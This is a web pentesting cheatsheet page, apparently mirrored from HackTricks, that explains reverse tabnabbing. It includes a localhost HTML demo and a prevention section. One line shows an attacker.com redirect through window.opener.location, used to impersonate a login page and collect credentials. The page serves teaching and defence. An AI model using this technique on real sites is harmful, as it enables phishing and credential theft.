repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
reverse-tab-nabbing.mdMarkdown94 lines4.5 KiBsource raw download

title: "Reverse Tab Nabbing" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/reverse-tab-nabbing.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/reverse-tab-nabbing.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Reverse Tab Nabbing#

Description#

If an attacker controls the href of a link opened with target="_blank" and the new page receives an opener reference, the attacker-controlled page can navigate the original tab through window.opener. Explicit rel="opener" requests that relationship. Current HTML behavior gives _blank links implicit noopener in modern browsers, but older browsers, embedded webviews, window.open() calls, or explicit opener can still expose it.[1][3]

A regular way to abuse this behaviour would be to change the location of the original web via window.opener.location = https://attacker.com/victim.html to a web controlled by the attacker that looks like the original one, so it can imitate the login form of the original website and ask for credentials to the user.

Cross-origin policy does not give the malicious page arbitrary DOM or JavaScript access to the opener. It exposes only the limited cross-origin WindowProxy surface, whose most important tabnabbing capability is navigation of the opener.[3]

Overview#

Link between parent and child pages when prevention attribute is not used:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

Link between parent and child pages when prevention attribute is used:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

Examples #

Create the following pages in a folder and run a web server with python3 -m http.server
Then access http://127.0.0.1:8000/vulnerable.html, click the link, and observe that the original tab's URL changes.

<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
<!DOCTYPE html>
<html>
 <body>
  <script>
  window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
  </script>
 </body>
</html>
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

Accessible properties #

In the scenario where a cross-origin access occurs (access across different domains), the properties of the window JavaScript class instance, referred to by the opener JavaScript object reference, that can be accessed by a malicious site are limited to the following:

When the documents are same-origin, normal same-origin Window access applies.[3]

Prevention#

Use rel="noopener" (and noreferrer when referrer suppression is also desired), avoid explicit opener, and null the opener for script-created windows where appropriate. OWASP's HTML5 cheat sheet documents these defenses.[2]

References#